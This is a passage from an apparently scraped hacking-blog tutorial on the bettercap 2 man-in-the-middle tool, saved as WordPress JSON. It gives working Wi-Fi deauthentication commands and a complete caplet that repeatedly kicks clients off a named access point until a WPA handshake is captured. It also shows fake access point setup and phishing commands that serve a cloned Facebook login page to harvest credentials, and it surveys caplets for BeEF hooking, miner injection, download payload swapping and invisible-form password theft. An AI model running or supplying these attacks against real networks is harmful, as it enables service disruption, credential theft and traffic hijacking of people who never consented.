justify;\">\r\nwifi.deauth AP-BSSID<\/pre>\n<p style=\"text-align: justify;\">\n\tor:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.deauth CLIENT-BSSID<\/pre>\n<p style=\"text-align: justify;\">\n\tIn the first case, all clients will be deauthenticated, in the second case, only a specified client will be deauthenticated. I want to deauthenticate all access point clients, then my command:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.deauth 50:46:5d:6e:8c:20<\/pre>\n<p style=\"text-align: justify;\">\n\tA file with captured frames can be opened for verification in Wireshark:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/06.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1120\" height=\"999\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/06.png\" width=\"1018\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/06.png 1018w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/06-1000x981.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/06-768x754.png 768w\" sizes=\"(max-width: 1018px) 100vw, 1018px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo filter out handshakes, use the filter:\n<\/p>\n<pre class=\"brush:plain;\" style=\"text-align: justify;\">\r\nllc.type == 0x888e<\/pre>\n<p style=\"text-align: justify;\">\n\tOr the filter:\n<\/p>\n<pre class=\"brush:plain;\" style=\"text-align: justify;\">\r\neapol<\/pre>\n<p style=\"text-align: justify;\">\n\tIn addition to bettercap, there are already enough programs that can capture handshakes. The advantage of bettercap is that we can automate the process.\n<\/p>\n<p style=\"text-align: justify;\">\n\tFor example, the following command checks the capture file and displays information about the handshake(s) if they are found there:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ntshark -r \/root\/wpa.pcap -R &#39;eapol&#39; -2 2&gt;\/dev\/null<\/pre>\n<p style=\"text-align: justify;\">\n\tA little more verbal command:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nif [ \"`tshark -r \/root\/wpa.pcap -R 'eapol' -2 2>\/dev\/null`\" ]; then echo &quot;Got handshake!&quot;; else echo &quot;Nothing&quot;; fi;<\/pre>\n<p style=\"text-align: justify;\">\n\tWe need the previous command to write a caplet, which will work according to the following logic:\n<\/p>\n<ol>\n<li style=\"text-align: justify;\">\n\t\twhen started, launches a sniffer to capture a handshake\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tlaunches deauthentication attack\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tchecks whether the handshake was captured\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tif the handshake is captured &#8211; shutdown bettercap\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tif the handshake is not captured, return to step 2\n\t<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n\tFor this, I create a file <strong>HS_capture_50465d6e8c20.cap<\/strong> with the following contents:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\n# Setting up the sniffer\r\nset net.sniff.verbose true\r\nset net.sniff.filter ether proto 0x888e\r\nset net.sniff.output \/root\/wpa.pcap\r\nnet.sniff on\r\n\r\n# Configuring and starting the analysis of wireless networks; channel and BSSID replace with your values\r\nwifi.recon.channel 8\r\nwifi.recon on\r\nsleep 20\r\nwifi.recon 50:46:5d:6e:8c:20\r\n\r\n# Performing the deauthentication attack, sleeping for 60 seconds, checking if a handshake was captured, \r\n# if yes, then quitting bettercap. \r\n# Note that if you changed the name of the file where the handshake is saved, you also need to change \r\n# it here - \/root\/wpa.pcap, and also replace BSSID with the attacked AP\r\nset ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !&#39;if [ \"`tshark -r \/root\/wpa.pcap -R 'eapol' -2 2>\/dev\/null`\" ]; then echo &quot;Got handshake! Quit.&quot;; sleep 1; pkill -1 bettercap; else echo &quot;Yet not captured&quot;; fi;&#39;\r\n# Period of the cycle - only one second is set here, because in the previous set of commands there is a sleep 60; \r\n# which sets the sleep for 60 seconds:\r\nset ticker.period 1\r\n# Run cyclic execution of commands\r\nticker on<\/pre>\n<p style=\"text-align: justify;\">\n\tRunning&nbsp;bettercap\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap -iface wlan0 -caplet .\/HS_capture_50465d6e8c20.cap<\/pre>\n<p style=\"text-align: justify;\">\n\tThe program will work until it grabs the handshake. But after grabbing a handshake, bettercap will finish its work and no longer bother network clients.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"49\" name=\"49\"><\/a>Creating a fake access point<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tAmong the Wi-Fi functions, it is possible to create a fake access point with or without encryption.\n<\/p>\n<p style=\"text-align: justify;\">\n\tCreate a fake access point &quot;Banana&quot; with BSSID DE:AD:BE:EF:DE:AD on channel 5 without encryption:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset wifi.ap.ssid Banana\r\nset wifi.ap.bssid DE:AD:BE:EF:DE:AD\r\nset wifi.ap.channel 5\r\nset wifi.ap.encryption false\r\nwifi.recon on; wifi.ap<\/pre>\n<p style=\"text-align: justify;\">\n\tAs you can see, there is a lot of options for automation and various combined attacks, including automated attacks based on social engineering.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"5\" name=\"5\"><\/a>Review of bettercap caplets<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tAs already mentioned, the caplets are placed in the <a href=\"https:\/\/github.com\/bettercap\/caplets\" rel=\"noopener noreferrer\" target=\"_blank\">official repository<\/a>. There are some very simple examples that automate several typical actions, and quite complex implementations of modern attacks.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"51\" name=\"51\"><\/a>BeEF hooking<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tBeEF is a platform for web browsers exportation. To start, you need to embed the JavsScript code in a web page. The <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/beef-passive.cap\" rel=\"noopener noreferrer\" target=\"_blank\">beef-passive.cap<\/a> and <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/beef-active.cap\" rel=\"noopener noreferrer\" target=\"_blank\">beef-active.cap<\/a> do just that. The <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/beef-inject.js\" rel=\"noopener noreferrer\" target=\"_blank\">beef-inject.js<\/a> file controls the insertion, so if you want to change the address or port of the Javscript file, you need to edit this file.\n<\/p>\n<p style=\"text-align: justify;\">\n\tBefore starting this attack, you need to start the BeEF service, or edit the caplets by adding the appropriate command.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe first caplet insert the JavsScript file passively, the second one is active, using traffic redirection from other hosts using ARP spoofing.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"52\" name=\"52\"><\/a>Miner injection<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/crypto-miner.cap\" rel=\"noopener noreferrer\" target=\"_blank\">crypto-miner.cap<\/a> inject the miner. You need to enter your own key by editing the <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/crypto-miner.js\" rel=\"noopener noreferrer\" target=\"_blank\">crypto-miner.js<\/a> file.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"53\" name=\"53\"><\/a>Replacing the uploaded file with the payload<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThis module lets you intercept very specific download requests and replaces with&nbsp;the payload of your choice. In order for a download to get intercepted:\n<\/p>\n<p style=\"text-align: justify;\">\n\t1. the victim&#39;s <strong>user-agent<\/strong> string must match the <strong>downloadautopwn.useragent.x regexp<\/strong> value\n<\/p>\n<p style=\"text-align: justify;\">\n\t2. the requested file must match one of the <strong>downloadautopwn.extensions.x<\/strong> file extensions you can find the downloadautopwn.devices in the <strong>caplets\/download-autopwn\/<\/strong> folder (you can add your own)\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe configuration is performed in <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/download-autopwn.cap\" rel=\"noopener noreferrer\" target=\"_blank\">download-autopwn.cap<\/a>. In the pair is a <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/download-autopwn.js\" rel=\"noopener noreferrer\" target=\"_blank\">download-autopwn.js<\/a> file, which is NOT intended for implementation in the browser, it is used as a script for the <strong>http.proxy<\/strong> module (that is, it manages bettercap&nbsp;behavior and traffic manipulation).\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/08.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1122\" height=\"672\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/08.png\" width=\"1366\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/08.png 1366w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/08-1000x492.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/08-768x378.png 768w\" sizes=\"(max-width: 1366px) 100vw, 1366px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf someone uploaded a payload:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/07.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1121\" height=\"244\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/07.png\" width=\"1366\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/07.png 1366w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/07-1000x179.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/07-768x137.png 768w\" sizes=\"(max-width: 1366px) 100vw, 1366px\" \/><\/a>\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"54\" name=\"54\"><\/a>Stealing Facebook passwords<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1123\" height=\"1016\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09.jpg\" width=\"1855\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09.jpg 1855w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09-1000x548.jpg 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09-768x421.jpg 768w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/09-1500x822.jpg 1500w\" sizes=\"(max-width: 1855px) 100vw, 1855px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/fb-phish.cap\" rel=\"noopener noreferrer\" target=\"_blank\">fb-phish.cap<\/a> applet shows a fake Facebook login page on port 80, interrupts login attempts using <strong>http.proxy<\/strong>, prints credentials, and redirects the target to a real Facebook.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn the pair there is a <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/fb-phish.js\" rel=\"noopener noreferrer\" target=\"_blank\">fb-phish.js<\/a> file, which is a script for the <strong>http.proxy<\/strong> module.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou need to take care of creating a fake login page and starting the server. In this you will be helped by the <strong>Makefile <\/strong>file with the instructions (if you have the caplet repository downloaded, at the Bash command line execute):\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ncd caplets\/www\/\r\nmake<\/pre>\n<p style=\"text-align: justify;\">\n\tThen in bettercap:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset http.server.address 0.0.0.0\r\nset http.server.path caplets\/www\/www.facebook.com\/\r\n\r\nset http.proxy.script caplets\/fb-phish.js\r\n\r\nhttp.proxy on\r\nhttp.server on<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"55\" name=\"55\"><\/a>Collection of HTTP requests<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tExecute an ARP spoofing attack on the whole network (by default) or on a host (using <strong>-eval<\/strong> as described), intercept HTTP and HTTPS requests with the <strong>http.proxy<\/strong> and <strong>https.proxy<\/strong> modules and dump them using the <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/http-req-dump.js\" rel=\"noopener noreferrer\" target=\"_blank\">http-req-dumsp.js<\/a> proxy script.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"56\" name=\"56\"><\/a>Collection of logins and passwords with invisible forms<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThe essence of the attack is as follows: if on a web site you previously entered a login and password, then if there is a form on the page, the browser automatically fills in the data entered earlier. Firefox does this right away, Chrome requires any user interaction &#8211; for example, clicking anywhere on the web page. This form can be invisible. So, the attacker injects onto the site pages an invisible form into which the browser itself enters the login and password, the form transmits data to the attacker.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThis is implemented in the&nbsp;<a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/login-man-abuse.cap\" rel=\"noopener noreferrer\" target=\"_blank\">login-man-abuse.cap<\/a>&nbsp;caplet.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThere is a <a href=\"https:\/\/senglehardt.com\/demo\/no_boundaries\/loginmanager\/\" rel=\"noopener noreferrer\" target=\"_blank\">demo page<\/a> where you can see an example of the attack: enter any e-mail and password, then you will be transferred to another page that &quot;guesses&quot; what you entered earlier.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"57\" name=\"57\"><\/a>Redirect IPv4 DNS queries using DHCPv6 responses<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tDescription of the attack: <a href=\"https:\/\/blog.fox-it.com\/2018\/01\/11\/mitm6-compromising-ipv4-networks-via-ipv6\/\" rel=\"noopener noreferrer\" target=\"_blank\">https:\/\/blog.fox-it.com\/2018\/01\/11\/mitm6-compromising-ipv4-networks-via-ipv6\/<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe approximate essence is that in modern versions of Windows, the system is set to give preference to IPv6. The attacker responds with DHCPv6 messages, provides the link-local IPv6 address and specifies the attacker&#39;s host as the DNS server. Next, DNS spoofing attack is performed.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe attack is implemented in <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/mitm6.cap\" rel=\"noopener noreferrer\" target=\"_blank\">mitm6.cap<\/a>.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"58\" name=\"58\"><\/a>Testing the http.proxy script<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThe <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/proxy-script-test.cap\" rel=\"noopener noreferrer\" target=\"_blank\">proxy-script-test.cap<\/a> plugin will help you test JavaScript script work. In the pair there is a <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/proxy-script-test.js\" rel=\"noopener noreferrer\" target=\"_blank\">proxy-script-test.js<\/a> file.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"59\" name=\"59\"><\/a>Passwords sniffer<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/simple-passwords-sniffer.cap\" rel=\"noopener noreferrer\" target=\"_blank\">simple-passwords-sniffer.cap<\/a> caplet is a really very simple example of data searching based on regular expression. It uses commands:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset net.sniff.regexp .*password=.+\r\nset net.sniff.output passwords.cap<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"510\" name=\"510\"><\/a>Changing the prompt of the interactive bettercap session<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tYou can customize the prompt to which you enter commands. Including you can show in it useful information. An example with statistics output is contained in <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/test-prompt-stats.cap\" rel=\"noopener noreferrer\" target=\"_blank\">test-prompt-stats.cap<\/a>.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"511\" name=\"511\"><\/a>Changing the contents of requested web pages<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThe <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/web-override.cap\" rel=\"noopener noreferrer\" target=\"_blank\">web-override.cap<\/a> caplet overwrites any loaded page with the one the attacker specified. The pair is the <a href=\"https:\/\/github.com\/bettercap\/caplets\/blob\/master\/web-override.js\" rel=\"noopener noreferrer\" target=\"_blank\">web-override.js<\/a> file, this is the <strong>http.proxy<\/strong> module, and it describes the actions that are performed, for example, which page to display.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou can write your own caplets, if you want, you can offer interesting examples to add to the repository.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"6\" name=\"6\"><\/a>Installing bettercap from the source code in Kali Linux<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tYou must install the <strong>Go <\/strong>compiler.\n<\/p>\n<p style=\"text-align: justify;\">\n\tOpen the <strong>.bashrc<\/strong> file in the user directory with any text editor:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ngedit ~\/.bashrc<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd to create new environment variables, add the following lines to this file:\n<\/p>\n<pre class=\"brush:bash;\">\r\nexport GOPATH=\/home\/git\/go\r\nexport GOROOT=\/usr\/local\/src\/go\r\nexport PATH=${PATH}:$GOROOT\/bin:\/home\/git\/go\/bin<\/pre>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\n&nbsp;<\/pre>\n<p style=\"text-align: justify;\">\n\tWhen you are ready, save your changes and close the file.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThese changes will take effect after the reboot. Instead of restarting the computer, run:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsource ~\/.bashrc<\/pre>\n<p style=\"text-align: justify;\">\n\tThe following command automatically detects and downloads the latest version of the Go language files:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwget `curl -s https:\/\/golang.org\/dl\/ | grep -E -o &#39;https:\/\/[a-z0-9.\/]{5,}go[0-9.]{3,}linux-amd64.tar.gz&#39; | head -n 1`<\/pre>\n<p style=\"text-align: justify;\">\n\tExtract the downloaded archive:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ntar zxf go*.linux-amd64.tar.gz<\/pre>\n<p style=\"text-align: justify;\">\n\tChange the directory to <strong>$GOROOT<\/strong>, which we specified in <strong>~\/.bashrc<\/strong>.\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo mv go $GOROOT<\/pre>\n<p style=\"text-align: justify;\">\n\tInstall the packages necessary for compilation:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo apt install bison byacc libpcap0.8-dev pkg-config libnetfilter-queue-dev<\/pre>\n<p style=\"text-align: justify;\">\n\tFix for an already installed library:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nln -s \/usr\/lib\/x86_64-linux-gnu\/libpcap.so.1.8.1 \/usr\/lib\/x86_64-linux-gnu\/libpcap.so.1<\/pre>\n<p style=\"text-align: justify;\">\n\tDownload the source code, compile, install:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ngo get github.com\/bettercap\/bettercap\r\ncd $GOPATH\/src\/github.com\/bettercap\/bettercap\r\nmake build &amp;&amp; sudo make install<\/pre>\n<p style=\"text-align: justify;\">\n\tTo update the program:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ngo get -u github.com\/bettercap\/bettercap\r\ncd $GOPATH\/src\/github.com\/bettercap\/bettercap\r\nmake build &amp;&amp; sudo make install<\/pre>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"7\" name=\"7\"><\/a>Conclusion<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tAs you can see, bettercap from a simple and fun program for man-in-the middle attacks has grown into a powerful multifunctional tool.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo simplify routine activities, you can write small caplets in several commands: for example, to run sniffing on a local network, or to collect information about Wi-Fi networks.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Table of contents 1. Difference between bettercap 2 and bettercap 1.6 2. How to install bettercap 2 in Kali Linux 3. Download and install the latest version of bettercap 4. bettercap usage guide 4.1 Local network monitoring 4.2 Interactive and non-interactive mode. The -eval and -caplet options. Caplets 4.3 How<a href=\"https:\/\/miloserdov.org\/?p=1112\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":1124,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[81,121,42,97,25,40,64,123,37,38,122,5,4],"class_list":["post-1112","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sniffing-spoofing","tag-bettercap","tag-ettercap","tag-fake-dns","tag-hacking","tag-kali-linux","tag-man-in-the-middle-attacks","tag-passwords","tag-proxy","tag-sniffing","tag-spoofing","tag-sslstrip-sslstrip","tag-wireless","tag-wpa-wpa2"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1112"}],"collection":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1112"}],"version-history":[{"count":50,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1112\/revisions"}],"predecessor-version":[{"id":4853,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/1112\/revisions\/4853"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/media\/1124"}],"wp:attachment":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}